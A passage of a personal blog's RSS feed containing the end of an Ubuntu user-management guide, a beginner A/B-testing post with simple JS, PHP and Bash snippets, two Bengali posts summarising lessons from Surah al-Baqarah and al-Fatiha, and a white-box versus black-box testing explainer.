&lt;p&gt;&lt;code&gt;**docker**&lt;/code&gt;&lt;strong&gt;****:&lt;/strong&gt; Provides access to Docker without requiring &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Managing Existing Users&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;There are powerful tools provided by linux to manage user accounts after creation. Here are some common tasks:&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1. Changing User Details&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;To change a user’s home directory:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo usermod -d /new/home/directory newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To change a user’s shell:
&lt;code&gt;sudo usermod -s /bin/zsh newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2. Viewing User Information&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;To view detailed user information:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;id newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To check the current logged-in user:
&lt;code&gt;whoami&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;3. Deleting a User&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;To delete a user:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo deluser newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To delete a user and their home directory:
&lt;code&gt;sudo deluser --remove-home newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Caution:&lt;/strong&gt; Always double-check before deleting a user to avoid accidental data loss.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Best Practices for User Management in Ubuntu&lt;/strong&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Avoid Using the Root Account:&lt;/strong&gt; Use &lt;code&gt;sudo&lt;/code&gt; for administrative tasks instead.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Create Separate Accounts:&lt;/strong&gt; Each individual should have their own account.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Regularly Update Passwords:&lt;/strong&gt; Use the &lt;code&gt;passwd&lt;/code&gt; command to ensure password security.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Monitor User Activities:&lt;/strong&gt; Check &lt;code&gt;/var/log/auth.log&lt;/code&gt; for login and activity logs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Assign Permissions Wisely:&lt;/strong&gt; Only grant &lt;code&gt;sudo&lt;/code&gt; privileges to trusted users.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;strong&gt;Common Errors and How to Fix Them&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Here are some frequent issues you might encounter and how to resolve them:&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;1. Permission Denied&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt; &quot;Permission denied.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Ensure you’re using &lt;code&gt;sudo&lt;/code&gt; for administrative tasks.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;2. User Already Exists&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt; &quot;User &apos;newuser&apos; already exists.&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Choose a unique username or delete the existing user:
&lt;code&gt;sudo deluser newuser&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong&gt;3. Forgotten Password&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fix:&lt;/strong&gt; Reset the password:
&lt;code&gt;sudo passwd username&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Managing users in Ubuntu is a fundamental skill that every Linux enthusiast should master. By learning to create, modify, and delete users, you’ll be better equipped to maintain a secure and organized system. Remember to follow best practices and use the commands provided in this guide to experiment on your system.&lt;/p&gt;
&lt;p&gt;Was this guide helpful? Share it with your friends or drop a comment below with your questions. Ready to take the next step? Check out our advanced guide on managing groups and permissions in Linux!&lt;/p&gt;
&lt;p&gt;Visit here for more information: &lt;a href=&quot;https://ubuntu.com/server/docs/user-management&quot;&gt;User management&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2024-12-30T00:00:00.000Z</atom:updated><category>linux</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>A/B Testing for Beginners: What It Is &amp; How It Works</title><link>https://hurayraiit.com/blog/beginners-guide-to-ab-testing/</link><guid isPermaLink="true">https://hurayraiit.com/blog/beginners-guide-to-ab-testing/</guid><description>A beginner’s guide to A/B testing — learn how to compare two versions of a webpage or UI element using real user data to make better, evidence-based decisions.</description><pubDate>Thu, 05 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A/B testing sounds fancy, but it’s really just a structured way to compare two versions of something and see which one works better. Instead of arguing about button colors, layouts, or copy, you let real users decide with their behavior. That’s the magic: your decisions start coming from data instead of gut feelings.&lt;/p&gt;
&lt;p&gt;A simple real-world example is testing a signup button. Version A uses “Get Started,” and Version B uses “Create Account.” You randomly show each version to different users, measure which one gets more clicks, and then choose the winner. The process is the same whether you&apos;re tweaking a web page, an onboarding flow, or an email subject line.&lt;/p&gt;
&lt;p&gt;If you&apos;re working with JavaScript, you might randomly assign a variant on page load. This is a super-simplified example, but it shows the idea:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Simple A/B split using JS
const variant = Math.random() &amp;lt; 0.5 ? &apos;A&apos; : &apos;B&apos;;

// Apply variant-specific UI changes
if (variant === &apos;A&apos;) {
  document.querySelector(&quot;#cta&quot;).textContent = &quot;Get Started&quot;;
} else {
  document.querySelector(&quot;#cta&quot;).textContent = &quot;Create Account&quot;;
}

// Log variant assignment (replace with real analytics)
console.log(&quot;User saw variant:&quot;, variant);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In PHP, maybe you’re doing something similar server-side for a WordPress or Laravel site:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Random bucket assignment
$variant = (mt_rand(0, 100) &amp;lt; 50) ? &apos;A&apos; : &apos;B&apos;;

// Render variant-specific content
if ($variant === &apos;A&apos;) {
    echo &quot;&amp;lt;button&amp;gt;Get Started&amp;lt;/button&amp;gt;&quot;;
} else {
    echo &quot;&amp;lt;button&amp;gt;Create Account&amp;lt;/button&amp;gt;&quot;;
}

// You’d send $variant to GA, Mixpanel, or your own DB
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even with simple CLI tools, you can simulate traffic distribution in Bash just to understand probabilities:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash
# Quick simulation of 20 test users
for i in {1..20}; do
  if (( RANDOM % 2 )); then
    echo &quot;User $i -&amp;gt; Variant B&quot;
  else
    echo &quot;User $i -&amp;gt; Variant A&quot;
  fi
done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What actually matters in A/B testing is statistical confidence. Beginners often declare a winner too early—maybe after only 20 clicks. That’s a mistake. You need enough data for the difference to be meaningful, otherwise randomness tricks you into thinking something works better when it actually doesn’t.&lt;/p&gt;
&lt;p&gt;Another common pitfall is testing too many things at once. A/B testing is not the same as multivariate testing. Stick to one change per test when you&apos;re just starting out. And always avoid tests that break user expectations—never A/B test core functionality like checkout reliability or authentication flows.&lt;/p&gt;
&lt;p&gt;Once you get the hang of it, A/B testing becomes a continuous feedback loop. You launch small experiments, learn what users respond to, and steadily refine your product. Over time, these tiny improvements add up to major gains in engagement, conversions, and overall user satisfaction.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><atom:updated>2024-12-05T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>সূরা বাকারার আদেশ ও নিষেধসমূহ</title><link>https://hurayraiit.com/blog/lessons-from-sura-bakarah/</link><guid isPermaLink="true">https://hurayraiit.com/blog/lessons-from-sura-bakarah/</guid><description>সূরা বাকারার আদেশ ও নিষেধসমূহ — কুরআনের দীর্ঘতম সূরার মূল নির্দেশনাগুলো আয়াত নম্বরসহ সংক্ষিপ্তভাবে সংকলিত।</description><pubDate>Wed, 04 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;সূরা বাকারার প্রথম অংশের আদেশসমূহঃ&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র ইবাদাত করা। ২/২১&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;অঙ্গীকার পূর্ণ করা। ২/৪০&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;কুরআনের প্রতি ঈমান আনা এবং একমাত্র আল্লাহ্‌কে ভয় করা। ২/৪১&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;সালাত আদায় করা, যাকাত প্রদান করা এবং জামাতের সঙ্গে সালাত আদায় করা। ২/৪৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ধৈর্য ও সালাতের মাধ্যমে আল্লাহ্‌র কাছে সাহায্য প্রার্থনা করা। ২/৪৫, ১৫৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;পিতা-মাতা, নিকটাত্মীয় ও এতিম-মিসকিনের সাথে সদ্ব্যবহার করা এবং মানুষকে উত্তম কথা বলা। ২/৮৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(হজ্ব ও উমরার সময়) মাকামে ইব্রাহিমে সালাত আদায় করা। ২/১২৫&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;বাইতুল্লাহর দিকে মুখ করে সালাত আদায় করা। ২/১৪৯&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌কে স্মরণ করা এবং আল্লাহ্‌র কৃতজ্ঞতা প্রকাশ করা। ২/১৫২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;জিহাদ করা। ২/১৯৩&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র রাস্তায় দান সাদাকা করা এবং মানুষের প্রতি অনুগ্রহ করা। ২/১৯৫&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;(সামর্থ্য থাকলে) হজ্ব উমরাহ করা। ২/১৯৬&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ইস্তিগফার করা। ২/১৯৯&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;সূরা বাকারার প্রথম অংশের নিষেধসমূহঃ&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র সাথে কাওকে শরীক না করা। ২/২২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;কুরআনকে অস্বীকার না করা এবং আল্লাহ্‌র আয়াতের বিনিময়ে পার্থিব স্বার্থ গ্রহণ না করা। ২/৪১&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;সত্যকে মিথ্যার সাথে মিশ্রিত না করা এবং সত্য গোপন না করা। ২/৪২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;পরস্পরে রক্তপাত না করা এবং কাওকে তার ভিটা থেকে বিতাড়িত না করা। ২/৮৪&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;সন্দেহপোষণকারীদের অন্তর্ভুক্ত না হওয়া। ২/১৪৭&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;আল্লাহ্‌র অকৃতজ্ঞ না হওয়া। ২/১৫২&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;শয়তানের পদাঙ্ক অনুসরণ না করা। ২/১৬৮&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;অন্যায়ভাবে কারো সম্পদ ভক্ষণ না করা। ২/১৮৮&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;নিজের জীবনকে ধ্বংসের সম্মুখীন না করা। ২/১৯৫&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;চ্যালেঞ্জ&lt;/h2&gt;
&lt;p&gt;কুরআন আল্লাহ্‌র পক্ষ হতে অবতীর্ণ কিতাব, এ ব্যাপারে কারো সন্দেহ থাকলে কুরআনের মতো নির্ভুল, অলৌকিক গুণসম্পন্ন একটি সূরা রচনা করার চ্যালেঞ্জ আল্লাহ্‌ ঘোষণা করেছেন। ২/২৩&lt;/p&gt;
</content:encoded><atom:updated>2024-12-04T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>সূরা ফাতিহার শিক্ষাসমূহ</title><link>https://hurayraiit.com/blog/lessons-from-sura-fatiha/</link><guid isPermaLink="true">https://hurayraiit.com/blog/lessons-from-sura-fatiha/</guid><description>সূরা ফাতিহার শিক্ষাসমূহ — কুরআনের উম্মুল কিতাবের তিনটি মূল বিষয় এবং প্রতিদিন সতেরো বার হেদায়েত চাওয়ার গুরুত্ব ও ব্যাখ্যা।</description><pubDate>Tue, 03 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;সূরা ফাতিহা কুরআনের সবচেয়ে মহিমান্বিত সূরাগুলোর একটি। এ জন্য হাদিসে এটিকে উম্মুল কুরআন বা কুরআনের মূল বলা হয়েছে। (সহিহ বুখারি - ৭৭২)&lt;/p&gt;
&lt;p&gt;এই সূরার মূল বিষয় ৩ টিঃ&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;মহান আল্লাহ্‌র প্রশংসা।&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ইবাদাত-দাসত্ব ও প্রার্থনা কেবল আল্লাহ্‌র জন্যই নিবেদিত, এই স্বীকারোক্তি।&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;হেদায়েত বা সরল-সঠিক পথের নির্দেশনা এবং আল্লাহ্‌র ক্রোধের পাত্র ও পথভ্রষ্টদের পথ থেকে আত্মরক্ষার প্রার্থনা।&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;হেদায়েত মুমিনের জীবনে এত বেশি গুরুত্বপূর্ণ যে, প্রতিদিন ফরয সালাতে কম পক্ষে সতেরো বার সূরা ফাতিহা পাঠের মাধ্যমে আল্লাহ্‌র কাছে হেদায়েত কামনা করতে হয়।&lt;/p&gt;
</content:encoded><atom:updated>2024-12-03T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>White Box vs Black Box Testing: A Complete Tester&apos;s Guide</title><link>https://hurayraiit.com/blog/white-box-vs-black-box-testing/</link><guid isPermaLink="true">https://hurayraiit.com/blog/white-box-vs-black-box-testing/</guid><description>White box vs black box testing explained — key differences, when to use each approach, who performs them, and how they complement each other in SQA practice.</description><pubDate>Sun, 01 Dec 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When it comes to software quality assurance, two of the most fundamental testing approaches are &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/White-box_testing&quot;&gt;white box testing&lt;/a&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Black-box_testing&quot;&gt;black box testing&lt;/a&gt;&lt;/strong&gt;. Many new testers and even experienced professionals often wonder which one to choose, how they differ, and where each is most effective. In this article, we’ll break down both methods in a &lt;strong&gt;Q&amp;amp;A format&lt;/strong&gt; to make the concepts clearer.&lt;/p&gt;
&lt;h3&gt;What is white box testing?&lt;/h3&gt;
&lt;p&gt;White box testing, sometimes called &lt;strong&gt;clear box testing&lt;/strong&gt; or &lt;strong&gt;glass box testing&lt;/strong&gt;, is a technique where the tester has full knowledge of the internal code, logic, and structure of the application. It focuses on verifying whether the internal workings of a program behave as expected. Testers typically write test cases that cover conditions, loops, paths, and data flows within the code.&lt;/p&gt;
&lt;h3&gt;What is black box testing?&lt;/h3&gt;
&lt;p&gt;Black box testing is the opposite approach. Here, the tester has &lt;strong&gt;no knowledge of the internal code&lt;/strong&gt;. Instead, the focus is entirely on the inputs and outputs of the system. Testers treat the software as a “black box” — they provide input, observe the output, and verify if it matches the expected results. This method is more about functionality and user experience than internal logic.&lt;/p&gt;
&lt;h3&gt;Who usually performs these tests?&lt;/h3&gt;
&lt;p&gt;White box testing is usually performed by developers or testers who have programming knowledge, since it requires analyzing the code and creating test cases that interact directly with its internal structure. Black box testing, on the other hand, is often carried out by QA testers, end users, or even external testing teams, as it focuses only on functionality and user experience without requiring any understanding of how the code is written.&lt;/p&gt;
&lt;h3&gt;What are the main advantages of each?&lt;/h3&gt;
&lt;p&gt;The biggest advantage of white box testing is that it allows a deep inspection of the internal logic, uncovering hidden errors that may not be visible through functional testing. It also improves code coverage and helps optimize performance by identifying inefficiencies in algorithms or structures. Black box testing, meanwhile, ensures that the application meets user expectations and requirements. Since it does not demand programming skills, it is more accessible to a wider range of testers and is particularly effective for functional validation, acceptance testing, and large-scale system testing.&lt;/p&gt;
&lt;h3&gt;What are the limitations?&lt;/h3&gt;
&lt;p&gt;White box testing has limitations because it can be time-consuming and requires a higher skill level. It also tends to miss functionality gaps since the focus is more on how the code works than on what the user needs. Black box testing, by contrast, often struggles with limited coverage because it does not explore the internal code paths. Testers may also create redundant test cases, and when issues arise, they may find it difficult to identify the root cause without access to the source code.&lt;/p&gt;
&lt;h3&gt;Can you give real-world examples?&lt;/h3&gt;
&lt;p&gt;A simple example of white box testing is checking a sorting function. Here, the tester examines the code to verify whether all branches are executed properly, including edge cases such as empty arrays or extremely large datasets. For black box testing, consider a login form: the tester enters valid and invalid credentials to see if the system accepts or rejects them correctly, without needing to know how the authentication logic is implemented behind the scenes.&lt;/p&gt;
&lt;h3&gt;Should teams use one over the other?&lt;/h3&gt;
&lt;p&gt;The most effective strategy is to use both methods together. White box testing ensures that the code structure and internal logic are solid, while black box testing validates that the software behaves correctly for the end user. By combining both approaches, teams achieve better coverage, reduce risks, and gain confidence that the application is reliable inside and out.&lt;/p&gt;
&lt;h3&gt;Which one is more suitable for automation?&lt;/h3&gt;
&lt;p&gt;Both methods can benefit from automation, though the tools differ. White box testing is commonly automated with unit testing frameworks such as JUnit, NUnit, or PHPUnit, which allow developers to verify code logic efficiently. Black box testing often relies on tools like &lt;a href=&quot;https://hurayraiit.com/playwright-for-beginners-setting-up-your-first-project/&quot;&gt;Playwright&lt;/a&gt;, Selenium, Cypress, or Postman, which help automate functional testing of the user interface or APIs. Together, these automation strategies can accelerate testing cycles and improve overall quality.&lt;/p&gt;
&lt;p&gt;Both white box and black box testing play crucial roles in ensuring software quality. White box testing digs deep into the code to verify logic and performance, while black box testing validates that the application meets user expectations. Instead of viewing them as competing approaches, think of them as complementary tools that strengthen your testing strategy. By understanding their differences and applications, QA teams and developers can make informed decisions and deliver more reliable software.&lt;/p&gt;
&lt;p&gt;Here are our latest posts:&lt;/p&gt;
</content:encoded><atom:updated>2024-12-01T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item></channel></rss>